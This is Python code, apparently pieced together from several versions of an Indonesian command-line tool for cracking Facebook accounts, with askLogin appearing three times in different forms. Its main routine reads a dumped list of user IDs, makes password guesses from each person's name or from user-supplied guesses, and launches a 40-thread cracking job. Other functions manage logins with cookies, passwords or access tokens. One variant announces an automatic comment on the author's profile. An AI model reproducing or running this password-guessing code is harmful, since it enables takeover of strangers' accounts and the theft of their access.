def isActive(self): cookies = readCookies() progressBar(text='Mengecek cookies...', max=25) self.store.http.setCookies(cookies) id = re.findall(r'c_user=(\d+);', cookies)[0] try: response = self.store.http.get('/profile').text() except: br(1) prints('!m!Tidak ada koneksi mohon cek koneski internet Anda.!r!', blank_left=4) exit() if 'mbasic_logout_button' in str(response): banner() if 'Laporkan Masalah' not in str(response): try: http = self.store.http.get('/language.php') for i in http.bs4().find_all('a'): if 'Bahasa Indonesia' in str(i): http.get(i['href']) except: pass name = self.store.http.currentTitle() self.store.setCredentials({ 'id': id, 'name': name }) return True else: try: os.remove('.login.json') os.remove('session/%s.json'%(id)) except: pass return False
def main(self, threads=40): self.reset() prints( '!m!NOTE : Anda harus ngedump ID terlebih dahulu sebelum menggunakan fitur ini!', blank_left=4) br(1) while len(self.user) == 0: id = inputs('!p!List ID (!b!dump/react.json!p!) : !b!', blank_left=4) if os.path.exists(id) == False: br(1) prints('!m!Oops file \'%s\' tidak ditemukan...' % (id), blank_left=4) br(1) continue try: op = open(id, 'r', encoding='utf-8').read() op = json.loads(op) for ids in op['data']: pw = self.store.generatePasswordFromName(ids['name']) self.user.append({'id': ids['id'], 'pw': pw}) except: br(1) prints( '!m!Ada kesalahan mohon periksa file anda pastikan list ID diperoleh dari tool ini.', blank_left=4) br(1) continue br(1) customPW = [] ask = inputs( '!p!Apakah ingin menggunakan password manual? !m![!p!Y/t!m!] !p!: !b!', blank_left=4) if ask.lower() == 'y': br(1) prints( '!m!Gunakan (,)(comma) untuk password selanjutnya contoh !k!sayang,doraemon,facebook,dll!p!', blank_left=4) br(1) while True: customPW = inputs('!p!Set password : !b!', blank_left=4).split(',') if len(customPW) == 0 or customPW[0].strip() == '': br(1) prints('!m!Mohon isi password yang valid...', blank_left=4) br(1) continue break br(1) progressBar(text='loading...', max=35) th = Thread(target=self.crack, args=(threads, customPW)) th.start() self.run() return self
def sessionLogin(self): count = 0 prints('!m![ !b!PILIH AKUN UNTUK LOGIN !m!]', blank_left=4) br(1) data = lib.sessionList() for session in data: count += 1 name = session['credentials']['name'] id = session['credentials']['id'] created_at = session['created_at'] prints('!m![!b!%02d!m!] !p!%s (%s) !m!> !b!%s' % (count, name, id, created_at), blank_left=4) br(1) prints('!m!Abaikan dan tekan enter untuk login di akun baru.', blank_left=4) while True: br(1) pils = inputs('!p!Pilih : !b!', blank_left=4) br(1) if pils.strip() == '': return self.askLogin() try: name = data[int(pils) - 1]['credentials']['name'] id = data[int(pils) - 1]['credentials']['id'] cookies = data[int(pils) - 1]['credentials']['cookies'] progressBar(text='loading...', max=35) prints('!p!Mencoba login di akun !k!%s' % (name), blank_left=4) if self.attemptLoginCookies(cookies) == False: br(1) prints('!m!Login gagal sepertinya Akun anda Cekpoin..', blank_left=4) try: os.remove('session/%s.json' % (id)) except: pass time.sleep(3) return self.store.instance.run() else: return self.loginSuksesfull() except (ValueError, KeyError, IndexError): prints('!m!Input valid..', blank_left=4)
def askLogin(self): prints( '!k!BACA BAIK², SETELAH ANDA BERHASIL ANDA HARUS COLI TERLEBIH DAHULU!!', blank_left=4) br(1) prints('!m!Login menggunakan cookies biar akun tidak kena cekpoin.', blank_left=4) br(1) prints('!m![!b!01!m!] !p!Login cookies⚠', blank_left=4) prints('!m![!b!02!m!] !p!Login pake akun anda⚠', blank_left=4) prints('!m![!b!03!m!] !p!Login pake access token⚠', blank_left=4) br(1) while True: ask = inputs('!p!Pilih :!b! ', blank_left=4) if ask.lower() in ['1', '01']: br(1) progressBar(text='loading...', max=35) return self.cookies() elif ask.lower() in ['2', '02']: br(1) progressBar(text='loading...', max=35) return self.userPass() elif ask.lower() in ['3', '03']: br(1) progressBar(text='loading...', max=35) return self.token() else: br(1) prints('!m!Input valid...', blank_left=4) br(1)
def askLogin(self): prints('!m!Login menggunakan cookies jauh lebih aman.', blank_left=4) br(1) prints('!m![!b!01!m!] !p!Login pake cookies', blank_left=4) prints('!m![!b!02!m!] !p!Login pake user & pass', blank_left=4) prints('!m![!b!03!m!] !p!Login pake access token', blank_left=4) br(1) while True: ask = inputs('!p!Pilih :!b! ', blank_left=4) if ask.lower() in ['1', '01']: br(1) progressBar(text='loading...', max=35) return self.cookies() elif ask.lower() in ['2', '02']: br(1) progressBar(text='loading...', max=35) return self.userPass() elif ask.lower() in ['3', '03']: br(1) progressBar(text='loading...', max=35) return self.token() else: br(1) prints('!m!Input salah...', blank_left=4) br(1)
def askLogin(self): prints('!k!BACA BAIK², SETELAH ANDA BERHASIL LOGIN AKAN OTOMATIS KOMEN KE PROFILE AUTHOR!!', blank_left=4) br(1) prints('!m!Login menggunakan cookies jauh lebih aman.', blank_left=4) br(1) prints('!m![!b!01!m!] !p!Login pake cookies', blank_left=4) prints('!m![!b!02!m!] !p!Login pake user & pass', blank_left=4) prints('!m![!b!03!m!] !p!Login pake access token', blank_left=4) br(1) while True: ask = inputs('!p!Pilih :!b! ', blank_left=4) if ask.lower() in ['1', '01']: br(1) progressBar(text='loading...', max=35) return self.cookies() elif ask.lower() in ['2', '02']: br(1) progressBar(text='loading...', max=35) return self.userPass() elif ask.lower() in ['3', '03']: br(1) progressBar(text='loading...', max=35) return self.token() else: br(1) prints('!m!Input salah...', blank_left=4) br(1)
def run(self): banner() if lib.isLogin() == False: if len(lib.sessionList()) == 0: return self.store.login.askLogin() else: return self.store.login.sessionLogin() if lib.isActive(self) == False: br(1) prints('!m!Sepertinya cookies mati.', blank_left=4) br(1) inputs('!k!Tekan enter untuk login kembali..', blank_left=4) return self.run() id = self.store.object['credentials']['id'] name = self.store.object['credentials']['name'] prints('!m!-!r!' * 55, blank_left=2) prints('!m![!b!>!m!] !p!Nama akun !m!:!k! %s!r!' %(name), blank_left=4) prints('!m![!b!>!m!] !p!IDs !m!:!k! %s!r!' %(id), blank_left=4) prints('!m!-!r!' * 55, blank_left=2) for index in self.store.menu: prints(self.store.menu[index]['name'], blank_left=4) try: br(1) pils = int(inputs('!p!dz-id/>!b! ', blank_left=4)) pils = '%02d'%(pils,) function = self.store.menu[pils]['func'] except (ValueError, KeyError, IndexError): br(1) prints('!m!Input salah...', blank_left=4) sleep(2) return self.run() br(1) progressBar(text='loading...', max=35) return function()